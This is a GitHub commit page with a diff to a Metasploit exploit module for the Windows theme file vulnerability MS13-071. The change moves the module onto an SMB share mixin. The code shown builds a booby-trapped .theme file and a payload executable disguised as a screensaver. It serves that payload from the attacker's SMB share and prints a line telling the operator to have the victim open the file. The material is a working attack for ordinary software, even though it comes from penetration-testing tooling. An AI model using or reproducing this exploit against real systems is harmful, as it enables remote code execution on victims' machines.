Skip to content

Commit e6ecdde

Browse files
author
Matthew Hall
committed
Modify SMB generation code to use primer based on rapid7#3074 changes to
implement Msf::Exploit::Remote::SMB::Server::Share as a mixin.
1 parent f72d54b commit e6ecdde

File tree

1 file changed

+7
-31
lines changed

1 file changed

+7
-31
lines changed

modules/exploits/windows/fileformat/ms13_071_theme.rb

Lines changed: 7 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::FILEFORMAT
1212
include Msf::Exploit::EXE
13-
include Msf::Exploit::Remote::SMBFileServer
13+
include Msf::Exploit::Remote::SMB::Server::Share
1414

1515
def initialize(info={})
1616
super(update_info(info,
@@ -57,34 +57,18 @@ def initialize(info={})
5757
'Privileged' => false,
5858
'DisclosureDate' => "Sep 10 2013",
5959
'DefaultTarget' => 0))
60-
61-
register_options(
60+
register_options(
6261
[
63-
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
64-
OptString.new('SHARE', [false, 'A static share path (ie. "share")']),
65-
OptString.new('SCR', [false, 'A static SCR name (ie. "exploit.scr")'])
62+
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
63+
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
6664
], self.class)
65+
deregister_options('FILE_CONTENTS')
6766
end
6867

6968
def exploit
70-
print_status("Generating our malicious executable...")
71-
exe = generate_payload_exe
72-
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
73-
74-
if not datastore['SHARE']
75-
@scr_file = rand_text_alpha(7) + ".scr"
76-
else
77-
@scr_file = datastore['SCR']
78-
end
79-
if not datastore['SHARE']
80-
@share = rand_text_alpha(5)
81-
else
82-
@share = datastore['SHARE']
83-
end
84-
85-
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
86-
8769
print_status("Creating '#{datastore['FILENAME']}' file ...")
70+
self.exe_contents = generate_payload_exe
71+
print_status("Malicious SCR available on #{unc}...")
8872
# Default Windows XP / 2003 theme modified
8973
theme = <<-EOF
9074
; Copyright (c) Microsoft Corp. 1995-2001
@@ -123,14 +107,6 @@ def exploit
123107
MTSM=DABJDKT
124108
EOF
125109
file_create(theme)
126-
print_good("Let your victim open #{datastore['FILENAME']}")
127-
128-
print_status("Starting SMB Server on: " + @unc)
129-
start_smb_server(@unc, exe, @scr_file)
130-
while true
131-
break if session_created?
132-
sleep(1)
133-
end
134110
end
135111

136112
end

0 commit comments

Comments
 (0)